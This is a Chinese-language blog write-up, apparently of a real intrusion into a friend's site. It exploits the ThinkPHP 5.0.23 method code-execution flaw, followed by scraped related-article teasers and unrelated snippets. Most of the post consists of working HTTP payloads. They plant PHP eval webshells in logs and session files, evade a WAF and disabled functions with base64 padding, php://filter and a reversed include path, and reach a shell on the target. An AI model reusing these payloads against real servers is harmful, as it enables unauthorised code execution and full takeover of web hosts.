记一次有趣的tp5代码执行
0x00 前言
朋友之前给了个站,拿了很久终于拿下,简单记录一下。
0x01 基础信息
漏洞点:tp 5 method 代码执行,payload如下
POST /?s=captcha _method=__construct&method=get&filter[]=assert&server[]=1&get[]=1
无回显,根据payload 成功判断目标thinkphp 版本应为5.0.23
有waf,waf拦截了以下内容
php标记:
<?php
<?=
<? php 函数:
base64_decode
file_get_contents
convert_uuencode 关键字:
php://
linux
disable_function禁用了以下函数
passthru,exec,system,chroot,chgrp,chown,shell_exec,proc_open,proc_get_status,popen,ini_alter,ini_restore,dl,openlog,syslog,readlink,symlink,popepassthru,stream_socket_server
php 7.1.7 (虽然
assert函数不在disable_function中,但已经无法用call_user_func回调调用)
0x02 突破
现在tp 5 method代码执行开发出来的一些思路,不外乎如下两种:
1,写日志,包含日志 getshell 。payload如下:
写shell进日志
_method=__construct&method=get&filter[]=call_user_func&server[]=phpinfo&get[]=<?php eval($_POST['x'])?>
通过日志包含getshell
_method=__construct&method=get&filter[]=think\__include_file&server[]=phpinfo&get[]=../data/runtime/log/201901/21.log&x=phpinfo();
2,写session,包含session getshell。payload如下:
写shell进session
POST /?s=captcha HTTP/1.1
Cookie: PHPSESSID=kking
_method=__construct&filter[]=think\Session::set&method=get&get[]=<?php eval($_POST['x'])?>&server[]=1
包含session getshell
POST /?s=captcha
_method=__construct&method=get&filter[]=think\__include_file&get[]=/tmp/sess_kking&server[]=1
而这两种方式在这里都不可用,因为waf对<?php等关键字进行了拦截,还有其他办法吗?
base64编码与php://filter伪协议
倘若能够对关键字进行变形或者编码就好了,比如base64编码:
假如我们的session 文件为/tmp/sess_kking,内容如下
PD9waHAgQGV2YWwoJF9HRVRbJ3InXSk7Oz8+
<?php @eval($_GET['r']);;?>
因为最终的利用是通过inlcude方法进行包含,其实很容易想到可以利用php://filter/read=convert.base64-decode/resource=/tmp/sess_kking的方式进行解码
最终执行类似如下:
include('php://filter/read=convert.base64-decode/resource=/tmp/sess_kking');
但是session里面是会有其他字符的

如何让php://filter正确的解码呢?
p神的谈一谈php://filter的妙用文章有谈到如何巧妙用php://filter与base64编码绕过死亡exit

那么这里也一样,我们只要构造合适的字符,使得我们的webshell能够正确被base64解码即可。
本地测试
第一步,设置session
POST /?s=captcha
_method=__construct&filter[]=think\Session::set&method=get&get[]=adPD9waHAgQGV2YWwoJF9HRVRbJ3InXSk7Oz8%2bab&server[]=1
(注意:这里的+号需要用urlencode编码为%2b,不然会在写入session的时候被urldecode为空格,导致编码解码失败)。
疑问点1:为什么不用PD9waHAgQGV2YWwoJF9HRVRbJ3InXSk7Pz4= (<?php @eval($_GET['r']);?>)而是PD9waHAgQGV2YWwoJF9HRVRbJ3InXSk7Oz8+ (<?php @eval($_GET['r']);;?>) 呢,
答:是因为直接使用前者无论怎么拼凑字符,都没法正常解码。
疑问点2:为什么payload 前后会有两个ab?
答:是为了让shell payload 的前后两串字符串满足base64解码的长度,使其能正常解码。
第二步,包含,成功执行代码:

本地测试如此,但是在目标测试会发现执行不了,因为我们的payload使用了php://filter的协议包含了php://关键字

怎么让才能让其没有关键字呢?
tp 5 method代码执行的细节
让我们仔细观察代码执行的Request.php的filterValue方法是如何执行代码的。

我们注意到filter其实是可以传递多个的,同时参数为参数引用。
那么其实我们就可以传递多个filter来对value进行多次传递处理。如先base64_decode后将解码后的值传递给include进行包含。

但在线上这个waf是对base64_decode这个函数进行了过滤的,经过测试发现可以使用strrev反转函数突破。考虑到waf的问题,我们使用的shell payload加多一层base64编码。

同样道理这里的payload为什么要多几个分号就不需要再解释了
回到我们的getshell步骤,在目标上执行
1,设置session:
POST /?s=captcha
Cookie: PHPSESSID=kktest
_method=__construct&filter[]=think\Session::set&method=get&get[]=abPD9waHAgQGV2YWwoYmFzZTY0X2RlY29kZSgkX0dFVFsnciddKSk7Oz8%2bab&server[]=1

(payload前后两个ab同样是为了base64解码凑字符的原因)
2,文件包含
POST /?s=captcha&r=cGhwaW5mbygpOw==
_method=__construct&filter[]=strrev&filter[]=think\__include_file&method=get&server[]=1&get[]=tsetkk_sses/pmt/=ecruoser/edoced-46esab.trevnoc=daer/retlif//:php

最终成功绕过防火墙getshell。
0x03 总结
总的来说挺有趣的,也花费了好几个晚上,最终成功getshell也是非常的爽。(好在没放弃:)
记一次有趣的tp5代码执行的更多相关文章
- 记一次有趣的thinkphp代码执行
		
0x00 前言 朋友之前给了个站,拿了很久终于拿下,简单记录一下. 0x01 基础信息 漏洞点:tp 5 method 代码执行,payload如下 POST /?s=captcha _method= ...
 - 记一次海洋cms任意代码执行漏洞拿shell(url一句话)
		
实验环境:海洋CMS6.54(后续版本已该洞已补) 1.后台登录尝试 这个站点是个测试站,站里没什么数据. 进入admin.php,是带验证码的后台登录系统,没有验证码的可以用bp爆破.有验证码的也有 ...
 - PHPMailer < 5.2.18 远程代码执行漏洞(CVE-2016-10033)
		
PHPMailer < 5.2.18 Remote Code Execution 本文将简单展示一下PHPMailer远程代码执行漏洞(CVE-2016-10033)的利用过程,使用的是别人已经 ...
 - day02编程语言,Python语言介绍,Python解释器安装,环境变量,Python代码执行,pip,应用程序使用文件的三步骤,变量,变量的三大组成,比较,pycharm
		
复习 重点: 1.进制转换:二进制 与十六进制 2.内存分布:栈区 与堆区 # 二进制1111转换十六进制 => 8 4 2 1 => f 10101100111011 => 2a7 ...
 - [漏洞分析]thinkcmf 1.6.0版本从sql注入到任意代码执行
		
0x00 前言 该漏洞源于某真实案例,虽然攻击没有用到该漏洞,但在分析攻击之后对该版本的cmf审计之后发现了,也算是有点机遇巧合的味道,我没去找漏洞,漏洞找上了我XD thinkcmf 已经非常久远了 ...
 - Samba远程代码执行漏洞(CVE-2017-7494)复现
		
简要记录一下Samba远程代码执行漏洞(CVE-2017-7494)环境搭建和利用的过程,献给那些想自己动手搭建环境的朋友.(虽然已过多时) 快捷通道:Docker ~ Samba远程代码执行漏洞(C ...
 - Thinkphp V5.X 远程代码执行漏洞 - POC(搬运)
		
文章来源:lsh4ck's Blog 原文链接: https://www.77169.com/html/237165.html Thinkphp 5.0.22 http://192.168.1.1 ...
 - XCTF-ics-05(文件包含+preg_replace函数/e修正符下的代码执行漏洞)
		
记一道preg_replace函数/e模式下的代码执行漏洞利用的题. 只有设备维护中心页面可以进入,页面没有什么可点击的,查看源代码,发现这里有个参数. 拼接到url,页面显示index,拼接/etc ...
 - 漏洞复现:MS12-020 远程桌面协议RDP远程代码执行漏洞
		
漏洞复现:MS12-020 远程桌面协议RDP远程代码执行漏洞 攻击机:Kali2019 靶机:Win7 64位 解题步骤: 1.打开Kali2019和Win7 64位 ,确定IP地址是多少 2.确定 ...
 
随机推荐
- 解决IE浏览器没有网络的情况
			
计算机能够连接到网络,但是IE浏览器却显示没有网络. 解决方案: 设置 >> IE internet选项: 选择“高级”: 选择“重置”: 勾选“删除个人设置”,点击重置: 重新打开IE, ...
 - 004-行为型-01-策略模式(Strategy)
			
一.概述 定义了一系列算法,并将每个算法封装起来,使他们可以相互替换,且算法的变化不会影响到使用算法的客户.需要设计一个接口,为一系列实现类提供统一的方法,多个实现类实现该接口,设计一个抽象类(可有可 ...
 - idea的一些常用快捷键
			
快捷键 1.进入实现方法的快捷键 Ctrl + Alt + B Ctrl + Alt + 鼠标点击 2.自动给方法添加注释的快捷键 输入/**,然后回车 3.删除一行 CTRL + Y / CTRL ...
 - matlab学习笔记1--matlab工作界面
			
一起来学matlab-matlab学习笔记1--matlab工作界面 觉得有用的话,欢迎一起讨论相互学习~Follow Me 参考书籍 <matlab 程序设计与综合应用>张德丰等著 感谢 ...
 - mysql quick query row count using sql
			
1. command show table status like '{table-name}'; 2. sample mysql> use inventory; Database change ...
 - MVC ViewBag和ViewData的使用
			
ViewBag public ActionResult About() { ViewBag.Message = "Your application description page.&quo ...
 - 推荐一款好用的 office word 的markdown插件 - Writage
			
软件地址:http://www.writage.com/
 - angular2   ng-if
			
ng-if <td ><div class="td-li" > <a (click)="open(i)" class=" ...
 - VUE中事件修饰符:stop prevent self capture
			
<!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8 ...
 - LintCode: coins in a line I
			
有 n 个硬币排成一条线.两个参赛者轮流从右边依次拿走 1 或 2 个硬币,直到没有硬币为止.拿到最后一枚硬币的人获胜. 请判定 第一个玩家 是输还是赢? n = 1, 返回 true.n = 2, ...